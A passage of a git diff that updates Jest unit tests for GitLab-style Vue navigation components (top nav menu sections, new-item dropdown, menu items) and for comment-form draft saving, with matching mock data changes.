+ const findNewDropdown = () => wrapper.findComponent(TopNavNewDropdown);
+ const findMenuSections = () => wrapper.findComponent(TopNavMenuSections);
+
+ beforeEach(() => {
+ menuItemClickListener = jest.fn();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it.each`
+ desc | fn
+ ${'does not show search menu item'} | ${findSearchMenuItem}
+ ${'does not show new dropdown'} | ${findNewDropdown}
+ `('$desc', ({ fn }) => {
+ expect(fn().exists()).toBe(false);
+ });
+
+ it('shows menu sections', () => {
+ expect(findMenuSections().props('sections')).toEqual([
+ { id: 'primary', menuItems: TEST_NAV_DATA.primary },
+ { id: 'secondary', menuItems: TEST_NAV_DATA.secondary },
+ ]);
+ });
+
+ it('emits when menu sections emits', () => {
+ expect(menuItemClickListener).not.toHaveBeenCalled();
+
+ findMenuSections().vm.$emit('menu-item-click', TEST_NAV_DATA.primary[0]);
+
+ expect(menuItemClickListener).toHaveBeenCalledWith(TEST_NAV_DATA.primary[0]);
+ });
+ });
+
+ describe('without secondary', () => {
+ beforeEach(() => {
+ createComponent({ navData: { ...TEST_NAV_DATA, secondary: null } });
+ });
+
+ it('shows menu sections', () => {
+ expect(findMenuSections().props('sections')).toEqual([
+ { id: 'primary', menuItems: TEST_NAV_DATA.primary },
+ ]);
+ });
+ });
+
+ describe('with search view', () => {
+ beforeEach(() => {
+ createComponent({
+ navData: {
+ ...TEST_NAV_DATA,
+ views: { search: TEST_SEARCH_MENU_ITEM },
+ },
+ });
+ });
+
+ it('shows search menu item', () => {
+ expect(findSearchMenuItem().props()).toEqual({
+ menuItem: TEST_SEARCH_MENU_ITEM,
+ iconOnly: true,
+ });
+ });
+
+ it('shows tooltip for search', () => {
+ const tooltip = getBinding(findSearchMenuItem().element, 'gl-tooltip');
+ expect(tooltip.value).toEqual({ title: TEST_SEARCH_MENU_ITEM.title });
+ });
+ });
+
+ describe('with new view', () => {
+ beforeEach(() => {
+ createComponent({
+ navData: {
+ ...TEST_NAV_DATA,
+ views: { new: TEST_NEW_DROPDOWN_VIEW_MODEL },
+ },
+ });
+ });
+
+ it('shows new dropdown', () => {
+ expect(findNewDropdown().props()).toEqual({
+ viewModel: TEST_NEW_DROPDOWN_VIEW_MODEL,
+ });
+ });
+
+ it('shows tooltip for new dropdown', () => {
+ const tooltip = getBinding(findNewDropdown().element, 'gl-tooltip');
+ expect(tooltip.value).toEqual({ title: TEST_NEW_DROPDOWN_VIEW_MODEL.title });
+ });
+ });
+});
diff --git a/spec/frontend/nav/components/top_nav_app_spec.js b/spec/frontend/nav/components/top_nav_app_spec.js
index 06700ce748e..1d6ea99155b 100644
--- a/spec/frontend/nav/components/top_nav_app_spec.js
+++ b/spec/frontend/nav/components/top_nav_app_spec.js
@@ -1,5 +1,5 @@
-import { GlNavItemDropdown, GlTooltip } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
+import { GlNavItemDropdown } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
import TopNavApp from '~/nav/components/top_nav_app.vue';
import TopNavDropdownMenu from '~/nav/components/top_nav_dropdown_menu.vue';
import { TEST_NAV_DATA } from '../mock_data';
@@ -7,8 +7,8 @@ import { TEST_NAV_DATA } from '../mock_data';
describe('~/nav/components/top_nav_app.vue', () => {
let wrapper;
- const createComponent = (mountFn = shallowMount) => {
- wrapper = mountFn(TopNavApp, {
+ const createComponent = () => {
+ wrapper = shallowMount(TopNavApp, {
propsData: {
navData: TEST_NAV_DATA,
},
@@ -17,7 +17,6 @@ describe('~/nav/components/top_nav_app.vue', () => {
const findNavItemDropdown = () => wrapper.findComponent(GlNavItemDropdown);
const findMenu = () => wrapper.findComponent(TopNavDropdownMenu);
- const findTooltip = () => wrapper.findComponent(GlTooltip);
afterEach(() => {
wrapper.destroy();
@@ -31,7 +30,7 @@ describe('~/nav/components/top_nav_app.vue', () => {
it('renders nav item dropdown', () => {
expect(findNavItemDropdown().attributes('href')).toBeUndefined();
expect(findNavItemDropdown().attributes()).toMatchObject({
- icon: 'dot-grid',
+ icon: 'hamburger',
text: TEST_NAV_DATA.activeTitle,
'no-flip': '',
});
@@ -44,25 +43,5 @@ describe('~/nav/components/top_nav_app.vue', () => {
views: TEST_NAV_DATA.views,
});
});
-
- it('renders tooltip', () => {
- expect(findTooltip().attributes()).toMatchObject({
- 'boundary-padding': '0',
- placement: 'right',
- title: TopNavApp.TOOLTIP,
- });
- });
- });
-
- describe('when full mounted', () => {
- beforeEach(() => {
- createComponent(mount);
- });
-
- it('has dropdown toggle as tooltip target', () => {
- const targetFn = findTooltip().props('target');
-
- expect(targetFn()).toBe(wrapper.find('.js-top-nav-dropdown-toggle').element);
- });
});
});
diff --git a/spec/frontend/nav/components/top_nav_container_view_spec.js b/spec/frontend/nav/components/top_nav_container_view_spec.js
index b08d75f36ce..06d2179b859 100644
--- a/spec/frontend/nav/components/top_nav_container_view_spec.js
+++ b/spec/frontend/nav/components/top_nav_container_view_spec.js
@@ -4,7 +4,7 @@ import FrequentItemsApp from '~/frequent_items/components/app.vue';
import { FREQUENT_ITEMS_PROJECTS } from '~/frequent_items/constants';
import eventHub from '~/frequent_items/event_hub';
import TopNavContainerView from '~/nav/components/top_nav_container_view.vue';
-import TopNavMenuItem from '~/nav/components/top_nav_menu_item.vue';
+import TopNavMenuSections from '~/nav/components/top_nav_menu_sections.vue';
import VuexModuleProvider from '~/vue_shared/components/vuex_module_provider.vue';
import { TEST_NAV_DATA } from '../mock_data';
@@ -13,39 +13,39 @@ const DEFAULT_PROPS = {
frequentItemsVuexModule: FREQUENT_ITEMS_PROJECTS.vuexModule,
linksPrimary: TEST_NAV_DATA.primary,
linksSecondary: TEST_NAV_DATA.secondary,
+ containerClass: 'test-frequent-items-container-class',
};
const TEST_OTHER_PROPS = {
namespace: 'projects',
- currentUserName: '',
- currentItem: {},
+ currentUserName: 'test-user',
+ currentItem: { id: 'test' },
};
describe('~/nav/components/top_nav_container_view.vue', () => {
let wrapper;
- const createComponent = (props = {}) => {
+ const createComponent = (props = {}, options = {}) => {
wrapper = shallowMount(TopNavContainerView, {
propsData: {
...DEFAULT_PROPS,
...TEST_OTHER_PROPS,
...props,
},
+ ...options,
});
};
- const findMenuItems = (parent = wrapper) => parent.findAll(TopNavMenuItem);
- const findMenuItemsModel = (parent = wrapper) =>
- findMenuItems(parent).wrappers.map((x) => x.props());
- const findMenuItemGroups = () => wrapper.findAll('[data-testid="menu-item-group"]');
- const findMenuItemGroupsModel = () => findMenuItemGroups().wrappers.map(findMenuItemsModel);
+ const findMenuSections = () => wrapper.findComponent(TopNavMenuSections);
const findFrequentItemsApp = () => {
const parent = wrapper.findComponent(VuexModuleProvider);
return {
vuexModule: parent.props('vuexModule'),
props: parent.findComponent(FrequentItemsApp).props(),
+ attributes: parent.findComponent(FrequentItemsApp).attributes(),
};
};
+ const findFrequentItemsContainer = () => wrapper.find('[data-testid="frequent-items-container"]');
afterEach(() => {
wrapper.destroy();
@@ -67,34 +67,40 @@ describe('~/nav/components/top_nav_container_view.vue', () => {
);
describe('default', () => {
+ const EXTRA_ATTRS = { 'data-test-attribute': 'foo' };
+
beforeEach(() => {
- createComponent();
+ createComponent({}, { attrs: EXTRA_ATTRS });
+ });
+
+ it('does not inherit extra attrs', () => {
+ expect(wrapper.attributes()).toEqual({
+ class: expect.any(String),
+ });
});
it('renders frequent items app', () => {
expect(findFrequentItemsApp()).toEqual({
vuexModule: DEFAULT_PROPS.frequentItemsVuexModule,
- props: TEST_OTHER_PROPS,
+ props: expect.objectContaining(TEST_OTHER_PROPS),
+ attributes: expect.objectContaining(EXTRA_ATTRS),
});
});
- it('renders menu item groups', () => {
- expect(findMenuItemGroupsModel()).toEqual([
- TEST_NAV_DATA.primary.map((menuItem) => ({ menuItem })),
- TEST_NAV_DATA.secondary.map((menuItem) => ({ menuItem })),
- ]);
- });
-
- it('only the first group does not have margin top', () => {
- expect(findMenuItemGroups().wrappers.map((x) => x.classes('gl-mt-3'))).toEqual([false, true]);
+ it('renders given container class', () => {
+ expect(findFrequentItemsContainer().classes(DEFAULT_PROPS.containerClass)).toBe(true);
});
- it('only the first menu item does not have margin top', () => {
- const actual = findMenuItems(findMenuItemGroups().at(1)).wrappers.map((x) =>
- x.classes('gl-mt-1'),
- );
+ it('renders menu sections', () => {
+ const sections = [
+ { id: 'primary', menuItems: TEST_NAV_DATA.primary },
+ { id: 'secondary', menuItems: TEST_NAV_DATA.secondary },
+ ];
- expect(actual).toEqual([false, ...TEST_NAV_DATA.secondary.slice(1).fill(true)]);
+ expect(findMenuSections().props()).toEqual({
+ sections,
+ withTopBorder: true,
+ });
});
});
@@ -106,8 +112,8 @@ describe('~/nav/components/top_nav_container_view.vue', () => {
});
it('renders one menu item group', () => {
- expect(findMenuItemGroupsModel()).toEqual([
- TEST_NAV_DATA.primary.map((menuItem) => ({ menuItem })),
+ expect(findMenuSections().props('sections')).toEqual([
+ { id: 'primary', menuItems: TEST_NAV_DATA.primary },
]);
});
});
diff --git a/spec/frontend/nav/components/top_nav_dropdown_menu_spec.js b/spec/frontend/nav/components/top_nav_dropdown_menu_spec.js
index d9bba22238a..70df05a2781 100644
--- a/spec/frontend/nav/components/top_nav_dropdown_menu_spec.js
+++ b/spec/frontend/nav/components/top_nav_dropdown_menu_spec.js
@@ -1,67 +1,62 @@
-import { shallowMount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
import { nextTick } from 'vue';
import TopNavDropdownMenu from '~/nav/components/top_nav_dropdown_menu.vue';
+import TopNavMenuItem from '~/nav/components/top_nav_menu_item.vue';
+import TopNavMenuSections from '~/nav/components/top_nav_menu_sections.vue';
import KeepAliveSlots from '~/vue_shared/components/keep_alive_slots.vue';
import { TEST_NAV_DATA } from '../mock_data';
-const SECONDARY_GROUP_CLASSES = TopNavDropdownMenu.SECONDARY_GROUP_CLASS.split(' ');
-
describe('~/nav/components/top_nav_dropdown_menu.vue', () => {
let wrapper;
- const createComponent = (props = {}) => {
- wrapper = shallowMount(TopNavDropdownMenu, {
+ const createComponent = (props = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(TopNavDropdownMenu, {
propsData: {
primary: TEST_NAV_DATA.primary,
secondary: TEST_NAV_DATA.secondary,
views: TEST_NAV_DATA.views,
...props,
},
+ stubs: {
+ // Stub the keep-alive-slots so we don't render frequent items which uses a store
+ KeepAliveSlots: true,
+ },
});
};
- const findMenuItems = (parent = wrapper) => parent.findAll('[data-testid="menu-item"]');
- const findMenuItemsModel = (parent = wrapper) =>
- findMenuItems(parent).wrappers.map((x) => ({
- menuItem: x.props('menuItem'),
- isActive: x.classes('active'),
- }));
- const findMenuItemGroups = () => wrapper.findAll('[data-testid="menu-item-group"]');
- const findMenuItemGroupsModel = () =>
- findMenuItemGroups().wrappers.map((x) => ({
- classes: x.classes(),
- items: findMenuItemsModel(x),
- }));
+ const findMenuItems = () => wrapper.findAllComponents(TopNavMenuItem);
+ const findMenuSections = () => wrapper.find(TopNavMenuSections);
const findMenuSidebar = () => wrapper.find('[data-testid="menu-sidebar"]');
const findMenuSubview = () => wrapper.findComponent(KeepAliveSlots);
const hasFullWidthMenuSidebar = () => findMenuSidebar().classes('gl-w-full');
- const createItemsGroupModelExpectation = ({
- primary = TEST_NAV_DATA.primary,
- secondary = TEST_NAV_DATA.secondary,
- activeIndex = -1,
- } = {}) => [
- {
- classes: [],
- items: primary.map((menuItem, index) => ({ isActive: index === activeIndex, menuItem })),
- },
- {
- classes: SECONDARY_GROUP_CLASSES,
- items: secondary.map((menuItem) => ({ isActive: false, menuItem })),
- },
- ];
+ const withActiveIndex = (menuItems, activeIndex) =>
+ menuItems.map((x, idx) => ({
+ ...x,
+ active: idx === activeIndex,
+ }));
afterEach(() => {
wrapper.destroy();
});
+ beforeEach(() => {
+ jest.spyOn(console, 'error').mockImplementation();
+ });
+
describe('default', () => {
beforeEach(() => {
createComponent();
});
- it('renders menu item groups', () => {
- expect(findMenuItemGroupsModel()).toEqual(createItemsGroupModelExpectation());
+ it('renders menu sections', () => {
+ expect(findMenuSections().props()).toEqual({
+ sections: [
+ { id: 'primary', menuItems: TEST_NAV_DATA.primary },
+ { id: 'secondary', menuItems: TEST_NAV_DATA.secondary },
+ ],
+ withTopBorder: false,
+ });
});
it('has full width menu sidebar', () => {
@@ -74,36 +69,25 @@ describe('~/nav/components/top_nav_dropdown_menu.vue', () => {
expect(subview.isVisible()).toBe(false);
expect(subview.props()).toEqual({ slotKey: '' });
});
-
- it('the first menu item in a group does not render margin top', () => {
- const actual = findMenuItems(findMenuItemGroups().at(0)).wrappers.map((x) =>
- x.classes('gl-mt-1'),
- );
-
- expect(actual).toEqual([false, ...TEST_NAV_DATA.primary.slice(1).fill(true)]);
- });
});
describe('with pre-initialized active view', () => {
- const primaryWithActive = [
- TEST_NAV_DATA.primary[0],
- {
- ...TEST_NAV_DATA.primary[1],
- active: true,
- },
- ...TEST_NAV_DATA.primary.slice(2),
- ];
-
beforeEach(() => {
- createComponent({
- primary: primaryWithActive,
- });
+ // We opt for a small integration test, to make sure the event is handled correctly
+ // as it would in prod.
+ createComponent(
+ {
+ primary: withActiveIndex(TEST_NAV_DATA.primary, 1),
+ },
+ mount,
+ );
});
- it('renders menu item groups', () => {
- expect(findMenuItemGroupsModel()).toEqual(
- createItemsGroupModelExpectation({ primary: primaryWithActive, activeIndex: 1 }),
- );
+ it('renders menu sections', () => {
+ expect(findMenuSections().props('sections')).toStrictEqual([
+ { id: 'primary', menuItems: withActiveIndex(TEST_NAV_DATA.primary, 1) },
+ { id: 'secondary', menuItems: TEST_NAV_DATA.secondary },
+ ]);
});
it('does not have full width menu sidebar', () => {
@@ -114,11 +98,11 @@ describe('~/nav/components/top_nav_dropdown_menu.vue', () => {
const subview = findMenuSubview();
expect(subview.isVisible()).toBe(true);
- expect(subview.props('slotKey')).toBe(primaryWithActive[1].view);
+ expect(subview.props('slotKey')).toBe(TEST_NAV_DATA.primary[1].view);
});
it('does not change view if non-view menu item is clicked', async () => {
- const secondaryLink = findMenuItems().at(primaryWithActive.length);
+ const secondaryLink = findMenuItems().at(TEST_NAV_DATA.primary.length);
// Ensure this doesn't have a view
expect(secondaryLink.props('menuItem').view).toBeUndefined();
@@ -127,10 +111,10 @@ describe('~/nav/components/top_nav_dropdown_menu.vue', () => {
await nextTick();
- expect(findMenuSubview().props('slotKey')).toBe(primaryWithActive[1].view);
+ expect(findMenuSubview().props('slotKey')).toBe(TEST_NAV_DATA.primary[1].view);
});
- describe('when other view menu item is clicked', () => {
+ describe('when menu item is clicked', () => {
let primaryLink;
beforeEach(async () => {
@@ -144,13 +128,20 @@ describe('~/nav/components/top_nav_dropdown_menu.vue', () => {
});
it('changes active view', () => {
- expect(findMenuSubview().props('slotKey')).toBe(primaryWithActive[0].view);
+ expect(findMenuSubview().props('slotKey')).toBe(TEST_NAV_DATA.primary[0].view);
});
it('changes active status on menu item', () => {
- expect(findMenuItemGroupsModel()).toStrictEqual(
- createItemsGroupModelExpectation({ primary: primaryWithActive, activeIndex: 0 }),
- );
+ expect(findMenuSections().props('sections')).toStrictEqual([
+ {
+ id: 'primary',
+ menuItems: withActiveIndex(TEST_NAV_DATA.primary, 0),
+ },
+ {
+ id: 'secondary',
+ menuItems: withActiveIndex(TEST_NAV_DATA.secondary, -1),
+ },
+ ]);
});
});
});
diff --git a/spec/frontend/nav/components/top_nav_menu_item_spec.js b/spec/frontend/nav/components/top_nav_menu_item_spec.js
index 579af13d08a..fd2b4d3b056 100644
--- a/spec/frontend/nav/components/top_nav_menu_item_spec.js
+++ b/spec/frontend/nav/components/top_nav_menu_item_spec.js
@@ -7,6 +7,7 @@ const TEST_MENU_ITEM = {
icon: 'search',
href: '/pretty/good/burger',
view: 'burger-view',
+ data: { qa_selector: 'not-a-real-selector', method: 'post', testFoo: 'test' },
};
describe('~/nav/components/top_nav_menu_item.vue', () => {
@@ -29,7 +30,10 @@ describe('~/nav/components/top_nav_menu_item.vue', () => {
const findButtonIcons = () =>
findButton()
.findAllComponents(GlIcon)
- .wrappers.map((x) => x.props('name'));
+ .wrappers.map((x) => ({
+ name: x.props('name'),
+ classes: x.classes(),
+ }));
beforeEach(() => {
listener = jest.fn();
@@ -47,6 +51,16 @@ describe('~/nav/components/top_nav_menu_item.vue', () => {
expect(button.text()).toBe(TEST_MENU_ITEM.title);
});
+ it('renders button data attributes', () => {
+ const button = findButton();
+
+ expect(button.attributes()).toMatchObject({
+ 'data-qa-selector': TEST_MENU_ITEM.data.qa_selector,
+ 'data-method': TEST_MENU_ITEM.data.method,
+ 'data-test-foo': TEST_MENU_ITEM.data.testFoo,
+ });
+ });
+
it('passes listeners to button', () => {
expect(listener).not.toHaveBeenCalled();
@@ -54,11 +68,42 @@ describe('~/nav/components/top_nav_menu_item.vue', () => {
expect(listener).toHaveBeenCalledWith('TEST');
});
+
+ it('renders expected icons', () => {
+ expect(findButtonIcons()).toEqual([
+ {
+ name: TEST_MENU_ITEM.icon,
+ classes: ['gl-mr-2!'],
+ },
+ {
+ name: 'chevron-right',
+ classes: ['gl-ml-auto'],
+ },
+ ]);
+ });
+ });
+
+ describe('with icon-only', () => {
+ beforeEach(() => {
+ createComponent({ iconOnly: true });
+ });
+
+ it('does not render title or view icon', () => {
+ expect(wrapper.text()).toBe('');
+ });
+
+ it('only renders menuItem icon', () => {
+ expect(findButtonIcons()).toEqual([
+ {
+ name: TEST_MENU_ITEM.icon,
+ classes: [],
+ },
+ ]);
+ });
});
describe.each`
desc | menuItem | expectedIcons
- ${'default'} | ${TEST_MENU_ITEM} | ${[TEST_MENU_ITEM.icon, 'chevron-right']}
${'with no icon'} | ${{ ...TEST_MENU_ITEM, icon: null }} | ${['chevron-right']}
${'with no view'} | ${{ ...TEST_MENU_ITEM, view: null }} | ${[TEST_MENU_ITEM.icon]}
${'with no icon or view'} | ${{ ...TEST_MENU_ITEM, view: null, icon: null }} | ${[]}
@@ -68,7 +113,32 @@ describe('~/nav/components/top_nav_menu_item.vue', () => {
});
it(`renders expected icons ${JSON.stringify(expectedIcons)}`, () => {
- expect(findButtonIcons()).toEqual(expectedIcons);
+ expect(findButtonIcons().map((x) => x.name)).toEqual(expectedIcons);
+ });
+ });
+
+ describe.each`
+ desc | active | cssClass | expectedClasses
+ ${'default'} | ${false} | ${''} | ${[]}
+ ${'with css class'} | ${false} | ${'test-css-class testing-123'} | ${['test-css-class', 'testing-123']}
+ ${'with css class & active'} | ${true} | ${'test-css-class'} | ${['test-css-class', ...TopNavMenuItem.ACTIVE_CLASS.split(' ')]}
+ `('$desc', ({ active, cssClass, expectedClasses }) => {
+ beforeEach(() => {
+ createComponent({
+ menuItem: {
+ ...TEST_MENU_ITEM,
+ active,
+ css_class: cssClass,
+ },
+ });
+ });
+
+ it('renders expected classes', () => {
+ expect(wrapper.classes()).toStrictEqual([
+ 'top-nav-menu-item',
+ 'gl-display-block',
+ ...expectedClasses,
+ ]);
});
});
});
diff --git a/spec/frontend/nav/components/top_nav_menu_sections_spec.js b/spec/frontend/nav/components/top_nav_menu_sections_spec.js
new file mode 100644
index 00000000000..d56542fe572
--- /dev/null
+++ b/spec/frontend/nav/components/top_nav_menu_sections_spec.js
@@ -0,0 +1,107 @@
+import { shallowMount } from '@vue/test-utils';
+import TopNavMenuSections from '~/nav/components/top_nav_menu_sections.vue';
+
+const TEST_SECTIONS = [
+ {
+ id: 'primary',
+ menuItems: [{ id: 'test', href: '/test/href' }, { id: 'foo' }, { id: 'bar' }],
+ },
+ {
+ id: 'secondary',
+ menuItems: [{ id: 'lorem' }, { id: 'ipsum' }],
+ },
+];
+
+describe('~/nav/components/top_nav_menu_sections.vue', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(TopNavMenuSections, {
+ propsData: {
+ sections: TEST_SECTIONS,
+ ...props,
+ },
+ });
+ };
+
+ const findMenuItemModels = (parent) =>
+ parent.findAll('[data-testid="menu-item"]').wrappers.map((x) => ({
+ menuItem: x.props('menuItem'),
+ classes: x.classes(),
+ }));
+ const findSectionModels = () =>
+ wrapper.findAll('[data-testid="menu-section"]').wrappers.map((x) => ({
+ classes: x.classes(),
+ menuItems: findMenuItemModels(x),
+ }));
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders sections with menu items', () => {
+ expect(findSectionModels()).toEqual([
+ {
+ classes: [],
+ menuItems: [
+ {
+ menuItem: TEST_SECTIONS[0].menuItems[0],
+ classes: ['gl-w-full'],
+ },
+ ...TEST_SECTIONS[0].menuItems.slice(1).map((menuItem) => ({
+ menuItem,
+ classes: ['gl-w-full', 'gl-mt-1'],
+ })),
+ ],
+ },
+ {
+ classes: [...TopNavMenuSections.BORDER_CLASSES.split(' '), 'gl-mt-3'],
+ menuItems: [
+ {
+ menuItem: TEST_SECTIONS[1].menuItems[0],
+ classes: ['gl-w-full'],
+ },
+ ...TEST_SECTIONS[1].menuItems.slice(1).map((menuItem) => ({
+ menuItem,
+ classes: ['gl-w-full', 'gl-mt-1'],
+ })),
+ ],
+ },
+ ]);
+ });
+
+ it('when clicked menu item with href, does nothing', () => {
+ const menuItem = wrapper.findAll('[data-testid="menu-item"]').at(0);
+
+ menuItem.vm.$emit('click');
+
+ expect(wrapper.emitted()).toEqual({});
+ });
+
+ it('when clicked menu item without href, emits "menu-item-click"', () => {
+ const menuItem = wrapper.findAll('[data-testid="menu-item"]').at(1);
+
+ menuItem.vm.$emit('click');
+
+ expect(wrapper.emitted('menu-item-click')).toEqual([[TEST_SECTIONS[0].menuItems[1]]]);
+ });
+ });
+
+ describe('with withTopBorder=true', () => {
+ beforeEach(() => {
+ createComponent({ withTopBorder: true });
+ });
+
+ it('renders border classes for top section', () => {
+ expect(findSectionModels().map((x) => x.classes)).toEqual([
+ [...TopNavMenuSections.BORDER_CLASSES.split(' ')],
+ [...TopNavMenuSections.BORDER_CLASSES.split(' '), 'gl-mt-3'],
+ ]);
+ });
+ });
+});
diff --git a/spec/frontend/nav/components/top_nav_new_dropdown_spec.js b/spec/frontend/nav/components/top_nav_new_dropdown_spec.js
new file mode 100644
index 00000000000..18210658b89
--- /dev/null
+++ b/spec/frontend/nav/components/top_nav_new_dropdown_spec.js
@@ -0,0 +1,122 @@
+import { GlDropdown } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import TopNavNewDropdown from '~/nav/components/top_nav_new_dropdown.vue';
+
+const TEST_VIEW_MODEL = {
+ title: 'Dropdown',
+ menu_sections: [
+ {
+ title: 'Section 1',
+ menu_items: [
+ { id: 'foo-1', title: 'Foo 1', href: '/foo/1' },
+ { id: 'foo-2', title: 'Foo 2', href: '/foo/2' },
+ { id: 'foo-3', title: 'Foo 3', href: '/foo/3' },
+ ],
+ },
+ {
+ title: 'Section 2',
+ menu_items: [
+ { id: 'bar-1', title: 'Bar 1', href: '/bar/1' },
+ { id: 'bar-2', title: 'Bar 2', href: '/bar/2' },
+ ],
+ },
+ ],
+};
+
+describe('~/nav/components/top_nav_menu_sections.vue', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(TopNavNewDropdown, {
+ propsData: {
+ viewModel: TEST_VIEW_MODEL,
+ ...props,
+ },
+ });
+ };
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownContents = () =>
+ findDropdown()
+ .findAll('[data-testid]')
+ .wrappers.map((child) => {
+ const type = child.attributes('data-testid');
+
+ if (type === 'divider') {
+ return { type };
+ } else if (type === 'header') {
+ return { type, text: child.text() };
+ }
+
+ return {
+ type,
+ text: child.text(),
+ href: child.attributes('href'),
+ };
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders dropdown parent', () => {
+ expect(findDropdown().props()).toMatchObject({
+ text: TEST_VIEW_MODEL.title,
+ textSrOnly: true,
+ icon: 'plus',
+ });
+ });
+
+ it('renders dropdown content', () => {
+ expect(findDropdownContents()).toEqual([
+ {
+ type: 'header',
+ text: TEST_VIEW_MODEL.menu_sections[0].title,
+ },
+ ...TEST_VIEW_MODEL.menu_sections[0].menu_items.map(({ title, href }) => ({
+ type: 'item',
+ href,
+ text: title,
+ })),
+ {
+ type: 'divider',
+ },
+ {
+ type: 'header',
+ text: TEST_VIEW_MODEL.menu_sections[1].title,
+ },
+ ...TEST_VIEW_MODEL.menu_sections[1].menu_items.map(({ title, href }) => ({
+ type: 'item',
+ href,
+ text: title,
+ })),
+ ]);
+ });
+ });
+
+ describe('with only 1 section', () => {
+ beforeEach(() => {
+ createComponent({
+ viewModel: {
+ ...TEST_VIEW_MODEL,
+ menu_sections: TEST_VIEW_MODEL.menu_sections.slice(0, 1),
+ },
+ });
+ });
+
+ it('renders dropdown content without headers and dividers', () => {
+ expect(findDropdownContents()).toEqual(
+ TEST_VIEW_MODEL.menu_sections[0].menu_items.map(({ title, href }) => ({
+ type: 'item',
+ href,
+ text: title,
+ })),
+ );
+ });
+ });
+});
diff --git a/spec/frontend/nav/mock_data.js b/spec/frontend/nav/mock_data.js
index 2987d8deb16..c2ad86a4605 100644
--- a/spec/frontend/nav/mock_data.js
+++ b/spec/frontend/nav/mock_data.js
@@ -25,11 +25,15 @@ export const TEST_NAV_DATA = {
namespace: 'projects',
currentUserName: '',
currentItem: {},
+ linksPrimary: [{ id: 'project-link', href: '/path/to/projects', title: 'Project Link' }],
+ linksSecondary: [],
},
groups: {
namespace: 'groups',
currentUserName: '',
currentItem: {},
+ linksPrimary: [],
+ linksSecondary: [{ id: 'group-link', href: '/path/to/groups', title: 'Group Link' }],
},
},
};
diff --git a/spec/frontend/notes/components/comment_form_spec.js b/spec/frontend/notes/components/comment_form_spec.js
index b140eea9439..537622b7918 100644
--- a/spec/frontend/notes/components/comment_form_spec.js
+++ b/spec/frontend/notes/components/comment_form_spec.js
@@ -328,20 +328,45 @@ describe('issue_comment_form component', () => {
mountComponent({ mountFunction: mount });
});
- it('should save note when cmd+enter is pressed', () => {
- jest.spyOn(wrapper.vm, 'handleSave');
+ describe('when no draft exists', () => {
+ it('should save note when cmd+enter is pressed', () => {
+ jest.spyOn(wrapper.vm, 'handleSave');
- findTextArea().trigger('keydown.enter', { metaKey: true });
+ findTextArea().trigger('keydown.enter', { metaKey: true });
- expect(wrapper.vm.handleSave).toHaveBeenCalled();
+ expect(wrapper.vm.handleSave).toHaveBeenCalledWith();
+ });
+
+ it('should save note when ctrl+enter is pressed', () => {
+ jest.spyOn(wrapper.vm, 'handleSave');
+
+ findTextArea().trigger('keydown.enter', { ctrlKey: true });
+
+ expect(wrapper.vm.handleSave).toHaveBeenCalledWith();
+ });
});
- it('should save note when ctrl+enter is pressed', () => {
- jest.spyOn(wrapper.vm, 'handleSave');
+ describe('when a draft exists', () => {
+ beforeEach(() => {
+ store.registerModule('batchComments', batchComments());
+ store.state.batchComments.drafts = [{ note: 'A' }];
+ });
+
+ it('should save note draft when cmd+enter is pressed', () => {
+ jest.spyOn(wrapper.vm, 'handleSaveDraft');
+
+ findTextArea().trigger('keydown.enter', { metaKey: true });
+
+ expect(wrapper.vm.handleSaveDraft).toHaveBeenCalledWith();
+ });
+
+ it('should save note draft when ctrl+enter is pressed', () => {
+ jest.spyOn(wrapper.vm, 'handleSaveDraft');
- findTextArea().trigger('keydown.enter', { ctrlKey: true });
+ findTextArea().trigger('keydown.enter', { ctrlKey: true });
- expect(wrapper.vm.handleSave).toHaveBeenCalled();
+ expect(wrapper.vm.handleSaveDraft).toHaveBeenCalledWith();
+ });
});
});
});
diff --git a/spec/frontend/notes/components/discussion_actions_spec.js b/spec/frontend/notes/components/discussion_actions_spec.js
index c6a7d7ead98..925dbcc09ec 100644
--- a/spec/frontend/notes/components/discussion_actions_spec.js
+++ b/spec/frontend/notes/components/discussion_actions_spec.js
@@ -20,7 +20,7 @@ const createUnallowedNote = () =>
describe('DiscussionActions', () => {
let wrapper;
- const createComponentFactory = (shallow = true) => (props) => {
+ const createComponentFactory = (shallow = true) => (props, options) => {
const store = createStore();
const mountFn = shallow ? shallowMount : mount;
@@ -34,6 +34,7 @@ describe('DiscussionActions', () => {
shouldShowJumpToNextDiscussion: true,
...props,
},
+ ...options,
});
};
@@ -90,17 +91,17 @@ describe('DiscussionActions', () => {
describe('events handling', () => {
const createComponent = createComponentFactory(false);
- beforeEach(() => {
- createComponent();
- });
-
it('emits showReplyForm event when clicking on reply placeholder', () => {
+ createComponent({}, { attachTo: document.body });
+
jest.spyOn(wrapper.vm, '$emit');
wrapper.find(ReplyPlaceholder).find('textarea').trigger('focus');
expect(wrapper.vm.$emit).toHaveBeenCalledWith('showReplyForm');
});
it('emits resolve event when clicking on resolve button', () => {
+ createComponent();
+
jest.spyOn(wrapper.vm, '$emit');
wrapper.find(ResolveDiscussionButton).find('button').trigger('click');
expect(wrapper.vm.$emit).toHaveBeenCalledWith('resolve');
diff --git a/spec/frontend/notes/components/discussion_reply_placeholder_spec.js b/spec/frontend/notes/components/discussion_reply_placeholder_spec.js
index 2a4cd0df0c7..3932f818c4e 100644
--- a/spec/frontend/notes/components/discussion_reply_placeholder_spec.js
+++ b/spec/frontend/notes/components/discussion_reply_placeholder_spec.js
@@ -6,31 +6,34 @@ const placeholderText = 'Test Button Text';
describe('ReplyPlaceholder', () => {
let wrapper;
- const findTextarea = () => wrapper.find({ ref: 'textarea' });
-
- beforeEach(() => {
+ const createComponent = ({ options = {} } = {}) => {
wrapper = shallowMount(ReplyPlaceholder, {
propsData: {
